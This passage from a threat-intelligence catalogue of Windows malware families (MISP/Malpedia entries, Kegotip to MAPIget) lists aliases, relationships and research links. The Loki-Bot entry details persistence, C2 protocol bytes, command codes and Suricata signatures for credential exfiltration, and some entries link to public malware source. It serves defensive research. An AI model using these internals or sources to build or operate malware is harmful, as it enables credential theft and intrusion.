http://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/

Kegotip

The tag is: *misp-galaxy:malpedia="Kegotip"*

Kegotip is also known as:

Table 1160. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kegotip

Kelihos

The tag is: *misp-galaxy:malpedia="Kelihos"*

Kelihos is also known as:

Kelihos has relationships with:

- similar: misp-galaxy:botnet="Kelihos" with estimative-language:likelihood-probability="likely"

Table 1161. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kelihos
https://www.crowdstrike.com/blog/inside-the-takedown-of-zombie-spider-and-the-kelihos-botnet/
https://www.wired.com/2017/04/fbi-took-russias-spam-king-massive-botnet/
https://www.cyberscoop.com/doj-kelihos-botnet-peter-levashov-severa/
https://en.wikipedia.org/wiki/Kelihos_botnet

KeyBoy

The tag is: *misp-galaxy:malpedia="KeyBoy"*

KeyBoy is also known as:

- TSSL

KeyBoy has relationships with:

- similar: misp-galaxy:tool="Yahoyah" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="KeyBoy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Yahoyah" with estimative-language:likelihood-probability="likely"

Table 1162. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.keyboy
https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html
https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/
https://citizenlab.ca/2016/11/parliament-keyboy/
https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/

APT3 Keylogger

The tag is: *misp-galaxy:malpedia="APT3 Keylogger"*

APT3 Keylogger is also known as:

Table 1163. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.keylogger_apt3
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong
https://twitter.com/smoothimpact/status/773631684038107136
https://intrusiontruth.wordpress.com/2017/05/09/apt3-is-boyusec-a-chinese-intelligence-contractor/

KEYMARBLE

The tag is: *misp-galaxy:malpedia="KEYMARBLE"*

KEYMARBLE is also known as:

KEYMARBLE has relationships with:

- similar: misp-galaxy:tool="KEYMARBLE" with estimative-language:likelihood-probability="likely"

Table 1164. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.keymarble
https://www.us-cert.gov/ncas/analysis-reports/AR18-221A

KHRAT

The tag is: *misp-galaxy:malpedia="KHRAT"*

KHRAT is also known as:

KHRAT has relationships with:

- similar: misp-galaxy:tool="KHRAT" with estimative-language:likelihood-probability="likely"

Table 1165. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.khrat
https://blogs.forcepoint.com/security-labs/trojanized-adobe-installer-used-install-dragonok%E2%80%99s-new-custom-backdoor
https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/

Kikothac

The tag is: *misp-galaxy:malpedia="Kikothac"*

Kikothac is also known as:

Table 1166. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kikothac
https://www.group-ib.com/resources/threat-research/silence.html

KillDisk

The tag is: *misp-galaxy:malpedia="KillDisk"*

KillDisk is also known as:

KillDisk has relationships with:

- similar: misp-galaxy:tool="KillDisk Wiper" with estimative-language:likelihood-probability="likely"

Table 1167. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.killdisk
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/
https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-financial-organizations-in-latin-america/

KINS

The tag is: *misp-galaxy:malpedia="KINS"*

KINS is also known as:

- Kasper Internet Non-Security
- Maple

KINS has relationships with:

- similar: misp-galaxy:banker="Zeus KINS" with estimative-language:likelihood-probability="likely"

Table 1168. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kins
https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/
https://github.com/nyx0/KINS
https://securityintelligence.com/zeus-maple-variant-targets-canadian-online-banking-customers/
https://www.youtube.com/watch?v=C-dEOt0GzSE

KLRD

The tag is: *misp-galaxy:malpedia="KLRD"*

KLRD is also known as:

Table 1169. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.klrd
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks
https://www.morphick.com/resources/news/klrd-keylogger

Koadic

The tag is: *misp-galaxy:malpedia="Koadic"*

Koadic is also known as:

Koadic has relationships with:

- similar: misp-galaxy:tool="Koadic" with estimative-language:likelihood-probability="likely"

Table 1170. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.koadic
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/
https://github.com/zerosum0x0/koadic

KokoKrypt

The tag is: *misp-galaxy:malpedia="KokoKrypt"*

KokoKrypt is also known as:

Table 1171. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kokokrypt
https://twitter.com/struppigel/status/812726545173401600

Konni

The tag is: *misp-galaxy:malpedia="Konni"*

Konni is also known as:

Konni has relationships with:

- similar: misp-galaxy:rat="Konni" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="KONNI" with estimative-language:likelihood-probability="likely"

Table 1172. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.konni
http://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html
http://blog.talosintelligence.com/2017/07/konni-references-north-korean-missile-capabilities.html
https://vallejo.cc/2017/07/08/analysis-of-new-variant-of-konni-rat/
https://blog.fortinet.com/2017/08/15/a-quick-look-at-a-new-konni-rat-variant

KoobFace

The tag is: *misp-galaxy:malpedia="KoobFace"*

KoobFace is also known as:

Table 1173. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.koobface

Korlia

The tag is: *misp-galaxy:malpedia="Korlia"*

Korlia is also known as:

- Bisonal

Korlia has relationships with:

- similar: misp-galaxy:tool="Bisonal" with estimative-language:likelihood-probability="likely"

Table 1174. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.korlia
https://securitykitten.github.io/2014/11/25/curious-korlia.html
https://camal.coseinc.com/publish/2013Bisonal.pdf
https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/
https://www.rsaconference.com/writable/presentations/file_upload/cle-t04_final_v1.pdf
http://asec.ahnlab.com/tag/Operation%20Bitter%20Biscuit

Kovter

Kovter is a Police Ransomware

Feb 2012 - Police Ransomware Aug 2013 - Became AD Fraud Mar 2014 - Ransomware to AD Fraud malware June 2014 - Distributed from sweet orange exploit kit Dec 2014 - Run affiliated node Apr 2015 - Spread via fiesta and nuclear pack May 2015 - Kovter become fileless 2016 - Malvertising campaign on Chrome and Firefox June 2016 - Change in persistence July 2017 - Nemucod and Kovter was packed together Jan 2018 - Cyclance report on Persistence

The tag is: *misp-galaxy:malpedia="Kovter"*

Kovter is also known as:

Table 1175. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kovter
https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/
https://blog.malwarebytes.com/threat-analysis/2015/01/major-malvertising-campaign-hits-sites-with-combined-total-monthly-traffic-of-1-5bn-visitors/
https://github.com/ewhitehats/kovterTools/blob/master/KovterWhitepaper.pdf

KPOT Stealer

The tag is: *misp-galaxy:malpedia="KPOT Stealer"*

KPOT Stealer is also known as:

Table 1176. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kpot_stealer
https://www.flashpoint-intel.com/blog/malware-campaign-targets-jaxx-cryptocurrency-wallet-users/

KrBanker

The tag is: *misp-galaxy:malpedia="KrBanker"*

KrBanker is also known as:

- BlackMoon

Table 1177. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.krbanker
https://www.proofpoint.com/us/threat-insight/post/Updated-Blackmoon-Banking-Trojan
http://training.nshc.net/ENG/Document/virus/20140305_Internet_Bank_Pharming_-*BlackMoon_Ver_1.0_External_ENG.pdf[http://training.nshc.net/ENG/Document/virus/20140305_Internet_Bank_Pharming*-_BlackMoon_Ver_1.0_External_ENG.pdf]
https://zairon.wordpress.com/2014/04/15/trojan-banking-47d18761d46d8e7c4ad49cc575b0acc2bb3f49bb56a3d29fb1ec600447cb89a4/
http://researchcenter.paloaltonetworks.com/2016/05/unit42-krbanker-targets-south-korea-through-adware-and-exploit-kits-2/

KrDownloader

The tag is: *misp-galaxy:malpedia="KrDownloader"*

KrDownloader is also known as:

Table 1178. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.krdownloader
https://www.fidelissecurity.com/threatgeek/2017/05/blackmoon-rising-banking-trojan-back-new-framework

Kronos

The tag is: *misp-galaxy:malpedia="Kronos"*

Kronos is also known as:

- Osiris

Kronos has relationships with:

- similar: misp-galaxy:banker="Kronos" with estimative-language:likelihood-probability="likely"

Table 1179. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kronos
https://www.securonix.com/securonix-threat-research-kronos-osiris-banking-trojan-attack
https://www.proofpoint.com/us/threat-insight/post/kronos-reborn
https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/
https://www.lexsi.com/securityhub/overview-kronos-banking-malware-rootkit/?lang=en
https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/
https://www.lexsi.com/securityhub/kronos-decrypting-the-configuration-file-and-injects/?lang=en
https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware-p2/
https://www.morphick.com/resources/news/scanpos-new-pos-malware-being-distributed-kronos
https://securityintelligence.com/the-father-of-zeus-kronos-malware-discovered/
https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware
https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware/

Kuaibu

The tag is: *misp-galaxy:malpedia="Kuaibu"*

Kuaibu is also known as:

- Barys
- Gofot
- Kuaibpy

Table 1180. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kuaibu8

Kuluoz

The tag is: *misp-galaxy:malpedia="Kuluoz"*

Kuluoz is also known as:

Table 1181. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.kuluoz

Kurton

The tag is: *misp-galaxy:malpedia="Kurton"*

Kurton is also known as:

Table 1182. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kurton
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Kwampirs

Kwampirs is a family of malware which uses SMB to spread. It typically will not execute or deploy in environments in which there is no publicly available admin$ share. It is a fully featured backdoor which can download additional modules. Typical C2 traffic is over HTTP and includes "q=[ENCRYPTED DATA]" in the URI.

The tag is: *misp-galaxy:malpedia="Kwampirs"*

Kwampirs is also known as:

Kwampirs has relationships with:

- similar: misp-galaxy:tool="Kwampirs" with estimative-language:likelihood-probability="likely"

Table 1183. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kwampirs
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia

Lambert

The tag is: *misp-galaxy:malpedia="Lambert"*

Lambert is also known as:

Table 1184. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lambert
https://securelist.com/blog/research/77990/unraveling-the-lamberts-toolkit/

https://www.symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7
http://adelmas.com/blog/longhorn.php
https://www.youtube.com/watch?v=jeLd-gw2bWo

Lamdelin

The tag is: *misp-galaxy:malpedia="Lamdelin"*

Lamdelin is also known as:

Table 1185. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lamdelin
http://news.thewindowsclub.com/poorly-coded-lamdelin-lockscreen-ransomware-alt-f4-88576/

LatentBot

The tag is: *misp-galaxy:malpedia="LatentBot"*

LatentBot is also known as:

Table 1186. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.latentbot
http://malware-traffic-analysis.net/2017/04/25/index.html
https://www.fireeye.com/blog/threat-research/2015/12/latentbot_trace_me.html
https://blog.malwarebytes.com/threat-analysis/2017/06/latentbot/
https://www.cert.pl/news/single/latentbot-modularny-i-silnie-zaciemniony-bot/
https://cys-centrum.com/ru/news/module_trojan_for_unauthorized_access

Lazarus

The tag is: *misp-galaxy:malpedia="Lazarus"*

Lazarus is also known as:

Table 1187. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarus
https://www.bleepingcomputer.com/news/security/polish-banks-infected-with-malware-hosted-on-their-own-governments-site/
https://twitter.com/PhysicalDrive0/status/828915536268492800

https://baesystemsai.blogspot.com/2017/02/lazarus-watering-hole-attacks.html
http://baesystemsai.blogspot.de/2016/05/cyber-heist-attribution.html

Laziok

The tag is: *misp-galaxy:malpedia="Laziok"*

Laziok is also known as:

Laziok has relationships with:

- similar: misp-galaxy:tool="Trojan.Laziok" with estimative-language:likelihood-probability="likely"

Table 1188. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.laziok
https://www.symantec.com/connect/blogs/new-reconnaissance-threat-trojanlaziok-targets-energy-sector
https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=802

Leash

The tag is: *misp-galaxy:malpedia="Leash"*

Leash is also known as:

Table 1189. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.leash
https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/

Leouncia

The tag is: *misp-galaxy:malpedia="Leouncia"*

Leouncia is also known as:

- shoco

Table 1190. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.leouncia

https://www.rsaconference.com/writable/presentations/file_upload/crwd-t11-hide_and_seek-how_threat_actors_respond_in_the_face_of_public_exposure.pdf
https://www.fireeye.com/blog/threat-research/2010/12/leouncia-yet-another-backdoor.html
https://www.fireeye.com/blog/threat-research/2010/12/leouncia-yet-another-backdoor-part-2.html

Lethic

Lethic is a spambot dating back to 2008. It is known to be distributing low-level pharmaceutical spam.

The tag is: *misp-galaxy:malpedia="Lethic"*

Lethic is also known as:

Lethic has relationships with:

- similar: misp-galaxy:botnet="Lethic" with estimative-language:likelihood-probability="likely"

Table 1191. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lethic
https://www.arbornetworks.com/blog/asert/lethic-spambot-analysis-pills-watches-and-diplomas/
http://resources.infosecinstitute.com/win32lethic-botnet-analysis/
http://www.vkremez.com/2017/11/lets-learn-lethic-spambot-survey-of.html
http://www.malware-traffic-analysis.net/2017/11/02/index.html

Limitail

The tag is: *misp-galaxy:malpedia="Limitail"*

Limitail is also known as:

Table 1192. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.limitail

Listrix

The tag is: *misp-galaxy:malpedia="Listrix"*

Listrix is also known as:

Table 1193. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.listrix

https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group

LiteHTTP

According to AlienVault, LiteHTTP bot is a new HTTP bot programmed in C#. The bot has the ability to collect system information, download and execute programs, and update and kill other bots present on the system.

The source is on GitHub: https://github.com/zettabithf/LiteHTTP

The tag is: *misp-galaxy:malpedia="LiteHTTP"*

LiteHTTP is also known as:

Table 1194. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.litehttp
https://malware.news/t/recent-litehttp-activities-and-iocs/21053
https://github.com/zettabithf/LiteHTTP

Locky

The tag is: *misp-galaxy:malpedia="Locky"*

Locky is also known as:

Locky has relationships with:

- similar: misp-galaxy:ransomware="Locky" with estimative-language:likelihood-probability="likely"

Table 1195. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.locky
http://securityaffairs.co/wordpress/49094/malware/zepto-ransomware.html
https://blog.malwarebytes.com/threat-analysis/2017/01/locky-bart-ransomware-and-backend-server-analysis/
https://blog.malwarebytes.com/threat-analysis/2016/03/look-into-locky/
https://www.bleepingcomputer.com/news/security/locky-ransomware-returns-but-targets-only-windows-xp-and-vista/
http://blog.talosintelligence.com/2017/06/necurs-locky-campaign.html
https://blog.botfrei.de/2017/08/weltweite-spamwelle-verbreitet-teufliche-variante-des-locky/
https://www.bleepingcomputer.com/news/security/locky-ransomware-switches-to-the-lukitus-extension-for-encrypted-files/

https://www.cylance.com/en_us/blog/threat-spotlight-locky-ransomware.html

Locky (Decryptor)

The tag is: *misp-galaxy:malpedia="Locky (Decryptor)"*

Locky (Decryptor) is also known as:

Table 1196. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_decryptor

Locky Loader

For the lack of a better name, this is a VBS-based loader that was used in beginning of 2018 to deliver win.locky.

The tag is: *misp-galaxy:malpedia="Locky Loader"*

Locky Loader is also known as:

Table 1197. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_loader

LockPOS

The tag is: *misp-galaxy:malpedia="LockPOS"*

LockPOS is also known as:

Table 1198. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lock_pos
https://www.arbornetworks.com/blog/asert/lockpos-joins-flock/
https://www.cylance.com/en_us/blog/threat-spotlight-lockpos-point-of-sale-malware.html
https://www.cyberbit.com/new-lockpos-malware-injection-technique/

Loda

Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as “Trojan.Nymeria”, although the connection is not well-documented.

The tag is: *misp-galaxy:malpedia="Loda"*

Loda is also known as:

- Nymeria

Table 1199. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.loda
https://www.proofpoint.com/us/threat-insight/post/introducing-loda-malware
https://zerophagemalware.com/2018/01/23/maldoc-rtf-drop-loda-logger/

Logedrut

The tag is: *misp-galaxy:malpedia="Logedrut"*

Logedrut is also known as:

Table 1200. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.logedrut
https://researchcenter.paloaltonetworks.com/2016/09/mile-tea-cyber-espionage-campaign-targets-asia-pacific-businesses-and-government-agencies/

LogPOS

The tag is: *misp-galaxy:malpedia="LogPOS"*

LogPOS is also known as:

Table 1201. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.logpos
https://securitykitten.github.io/2015/11/16/logpos-new-point-of-sale-malware-using-mailslots.html

Loki Password Stealer (PWS)

"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMe

Loki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.

Loki-Bot accepts a single argument/switch of '-u' that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.

The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: "B7E1C2CC98066B250DDB2123".

Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: "%APPDATA%\ C98066\".

There can be four files within the hidden %APPDATA% directory at any given time: ".exe," ".lck," ".hdb" and ".kdb." They will be named after characters 13 thru 18 of the Mutex. For example: "6B250D." Below is the explanation of their purpose:

FILE EXTENSION FILE DESCRIPTION .exe A copy of the malware that will execute every time the user account is logged into .lck A lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts .hdb A database of hashes for data that has already been exfiltrated to the C2 server .kdb A database of keylogger data that has yet to be sent to the C2 server

If the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.

The first packet transmitted by Loki-Bot contains application data.

The second packet transmitted by Loki-Bot contains decrypted Windows credentials.

The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.

Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.

The first WORD of the HTTP Payload represents the Loki-Bot version.

The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:

BYTE PAYLOAD TYPE 0x26 Stolen Cryptocurrency Wallet 0x27 Stolen Application Data 0x28 Get C2 Commands from C2 Server 0x29 Stolen File 0x2A POS (Point of Sale?) 0x2B Keylogger Data 0x2C Screenshot

The 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically "ckav.ru". If you come across a Binary ID that is different from this, take note!

Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.

The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bot's C2 infrastructure.

Loki-Bot can accept the following instructions from the C2 Server:

BYTE INSTRUCTION DESCRIPTION 0x00 Download EXE & Execute 0x01 Download DLL & Load #1 0x02 Download DLL & Load #2 0x08 Delete HDB File 0x09 Start Keylogger 0x0A Mine & Steal Data 0x0E Exit Loki-Bot 0x0F Upgrade Loki-Bot 0x10 Change C2 Polling Frequency 0x11 Delete Executables & Exit

Suricata Signatures RULE SID RULE NAME 2024311 ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected 2024312 ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M1 2024313 ET TROJAN Loki Bot Request for C2 Commands Detected M1 2024314 ET TROJAN Loki Bot File Exfiltration Detected 2024315 ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M1 2024316 ET TROJAN Loki Bot Screenshot Exfiltration Detected 2024317 ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M2 2024318 ET TROJAN Loki Bot Request for C2 Commands Detected M2 2024319 ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2

The tag is: *misp-galaxy:malpedia="Loki Password Stealer (PWS)"*

Loki Password Stealer (PWS) is also known as:

- Loki
- LokiPWS
- LokiBot

Loki Password Stealer (PWS) has relationships with:

- similar: misp-galaxy:malpedia="Loki" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="LokiBot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="LokiBot" with estimative-language:likelihood-probability="likely"

Table 1202. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws
https://blog.fortinet.com/2017/05/17/new-loki-variant-being-spread-via-pdf-file
https://cysinfo.com/nefarious-macro-malware-drops-loki-bot-across-gcc-countries/
https://r3mrum.wordpress.com/2017/05/07/loki-bot-atrifacts/
https://github.com/R3MRUM/loki-parse
http://www.malware-traffic-analysis.net/2017/06/12/index.html
http://blog.fernandodominguez.me/lokis-antis-analysis/
https://phishme.com/loki-bot-malware/
https://www.lastline.com/blog/password-stealing-malware-loki-bot/
https://www.sans.org/reading-room/whitepapers/malicious/loki-bot-information-stealer-keylogger-more-37850

https://github.com/d00rt/hijacked_lokibot_version/blob/master/doc/LokiBot_hijacked_2018.pdf
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/

Luminosity RAT

The tag is: *misp-galaxy:malpedia="Luminosity RAT"*

Luminosity RAT is also known as:

Table 1203. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.luminosity_rat
https://researchcenter.paloaltonetworks.com/2016/07/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/
https://researchcenter.paloaltonetworks.com/2018/02/unit42-rat-trapped-luminositylink-falls-foul-vermin-eradication-efforts/
https://www.proofpoint.com/us/threat-insight/post/Light-After-Dark
https://umbrella.cisco.com/blog/2017/01/18/finding-the-rats-nest/
http://malwarenailed.blogspot.com/2016/07/luminosity-rat-re-purposed.html
https://krebsonsecurity.com/2018/07/luminositylink-rat-author-pleads-guilty/

Lurk

The tag is: *misp-galaxy:malpedia="Lurk"*

Lurk is also known as:

Table 1204. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lurk
https://www.secureworks.com/research/malware-analysis-of-the-lurk-downloader

Luzo

The tag is: *misp-galaxy:malpedia="Luzo"*

Luzo is also known as:

Table 1205. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.luzo

Lyposit

The tag is: *misp-galaxy:malpedia="Lyposit"*

Lyposit is also known as:

- Lucky Locker
- Adneukine
- Bomba Locker

Table 1206. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lyposit
https://blog.avast.com/2013/05/20/lockscreen-win32lyposit-displayed-as-a-fake-macos-app/
http://malware.dontneedcoffee.com/2012/11/inside-view-of-lyposit-aka-for-its.html
http://malware.dontneedcoffee.com/2013/05/unveiling-locker-bomba-aka-lucky-locker.html

Machete

The tag is: *misp-galaxy:malpedia="Machete"*

Machete is also known as:

- El Machete

Table 1207. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.machete
https://securelist.com/el-machete/66108/
https://www.cylance.com/en_us/blog/el-machete-malware-attacks-cut-through-latam.html
https://medium.com/@verovaleros/el-machete-what-do-we-know-about-the-apt-targeting-latin-america-be7d11e690e6

MadMax

The tag is: *misp-galaxy:malpedia="MadMax"*

MadMax is also known as:

Table 1208. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.madmax
https://www.arbornetworks.com/blog/asert/mad-max-dga/

Magala

The tag is: *misp-galaxy:malpedia="Magala"*

Magala is also known as:

Table 1209. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.magala
https://securelist.com/the-magala-trojan-clicker-a-hidden-advertising-threat/78920/

Magniber

The tag is: *misp-galaxy:malpedia="Magniber"*

Magniber is also known as:

Table 1210. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.magniber
https://blog.malwarebytes.com/threat-analysis/2017/10/magniber-ransomware-exclusively-for-south-koreans/
https://www.youtube.com/watch?v=lqWJaaofNf4
http://asec.ahnlab.com/1124

MajikPos

The tag is: *misp-galaxy:malpedia="MajikPos"*

MajikPos is also known as:

Table 1211. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.majik_pos
http://blog.trendmicro.com/trendlabs-security-intelligence/majikpos-combines-pos-malware-and-rats/

Makadocs

The tag is: *misp-galaxy:malpedia="Makadocs"*

Makadocs is also known as:

Table 1212. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.makadocs
http://contagiodump.blogspot.com/2012/12/nov-2012-backdoorw32makadocs-sample.html
https://www.symantec.com/connect/blogs/malware-targeting-windows-8-uses-google-docs

MakLoader

The tag is: *misp-galaxy:malpedia="MakLoader"*

MakLoader is also known as:

Table 1213. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.makloader
https://twitter.com/James_inthe_box/status/1046844087469391872

Maktub

The tag is: *misp-galaxy:malpedia="Maktub"*

Maktub is also known as:

Table 1214. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.maktub
https://blog.malwarebytes.com/threat-analysis/2016/03/maktub-locker-beautiful-and-dangerous/
https://bartblaze.blogspot.de/2018/04/maktub-ransomware-possibly-rebranded-as.html
https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/

MalumPOS

The tag is: *misp-galaxy:malpedia="MalumPOS"*

MalumPOS is also known as:

Table 1215. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.malumpos
http://documents.trendmicro.com/images/tex/pdf/MalumPOS%20Technical%20Brief.pdf

Mamba

The tag is: *misp-galaxy:malpedia="Mamba"*

Mamba is also known as:

- HDDCryptor
- DiskCryptor

Mamba has relationships with:

- similar: misp-galaxy:ransomware="HDDCryptor" with estimative-language:likelihood-probability="likely"

Table 1216. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mamba
http://blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/
https://securelist.com/the-return-of-mamba-ransomware/79403/

ManameCrypt

The tag is: *misp-galaxy:malpedia="ManameCrypt"*

ManameCrypt is also known as:

- CryptoHost

ManameCrypt has relationships with:

- similar: misp-galaxy:ransomware="CryptoHost" with estimative-language:likelihood-probability="likely"

Table 1217. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.manamecrypt
https://www.bleepingcomputer.com/news/security/cryptohost-decrypted-locks-files-in-a-password-protected-rar-file/
https://www.gdatasoftware.com/blog/2016/04/28234-manamecrypt-a-ransomware-that-takes-a-different-route

Mangzamel

The tag is: *misp-galaxy:malpedia="Mangzamel"*

Mangzamel is also known as:

- junidor
- mengkite

- vedratve

Table 1218. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mangzamel
https://www.hybrid-analysis.com/sample/5d631d77401615d53f3ce3dbc2bfee5d934602dc35d488aa7cebf9b3ff1c4816?environmentId=2

Manifestus

The tag is: *misp-galaxy:malpedia="Manifestus"*

Manifestus is also known as:

Manifestus has relationships with:

- similar: misp-galaxy:ransomware="EnkripsiPC Ransomware" with estimative-language:likelihood-probability="likely"

Table 1219. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.manifestus_ransomware
https://twitter.com/struppigel/status/811587154983981056

ManItsMe

The tag is: *misp-galaxy:malpedia="ManItsMe"*

ManItsMe is also known as:

Table 1220. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.manitsme
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

MAPIget

The tag is: *misp-galaxy:malpedia="MAPIget"*

MAPIget is also known as:

